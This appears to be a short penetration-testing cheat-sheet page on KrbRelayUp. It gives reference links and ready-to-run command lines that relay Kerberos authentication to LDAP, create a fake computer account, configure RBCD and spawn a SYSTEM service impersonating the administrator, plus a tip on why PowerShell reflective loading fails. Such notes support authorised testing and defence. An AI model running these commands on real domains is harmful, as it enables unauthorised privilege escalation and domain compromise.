- https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html
- https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
- https://github.com/cube0x0/KrbRelay
- https://gist.github.com/tothi/bf6c59d6de5d0c9710f23dae5750c4b9
- https://icyguider.github.io/2022/05/19/NoFix-LPE-Using-KrbRelay-With-Shadow-Credentials.html
- https://github.com/Dec0ne/KrbRelayUp
- https://www.microsoft.com/security/blog/2022/05/25/detecting-and-preventing-privilege-escalation-attacks-leveraging-kerberos-relaying-krbrelayup/
Relay authentication to LDAP(S) with automatic machine creation and configure RBCD:
PS > .\KrbRelayUp.exe RELAY [-d|--Domain megacorp.local] [-dc|--DomainController DC01.megacorp.local] [-m|--Method RBCD] -c|--CreateNewComputerAccount [-cn|--ComputerName FAKEMACHINE$] [-cp|--ComputerPassword Passw0rd!]
Perform RBCD with UPNs:
PS > .\KrbRelayUp.exe RELAY -u2u -cn j.doe -cp Passw0rd!
{% content-ref url="/pentest/infrastructure/ad/delegation-abuse/rbcd.md#rbcd-with-upns" %} rbcd.md {% endcontent-ref %}
Execute a command as NT AUTHORITY\SYSTEM via RBCD abuse:
PS > .\KrbRelayUp.exe SPAWN [-m|--Method RBCD] [-i|--Impersonate administrator] [-s|ServiceName PwnSVC] [-sc|--ServiceCommand C:\Windows\System32\cmd.exe] -cn|--ComputerName FAKEMACHINE$ -cp|--ComputerPassword Passw0rd! [or -ch|--ComputerPasswordHash fc525c9683e8fe067095ba2ddc971889]
{% hint style="warning" %}
As @ShitSecure mentioned, executing the binary as a .NET Reflective Assembly from PowerShell will fail because the PowerShell process will have already initialized the security parameters for COM itself after having been launched, so CoInitializeSecurity
will not contain those new parameters attempted to set by KrbRelay(Up).
{% endhint %}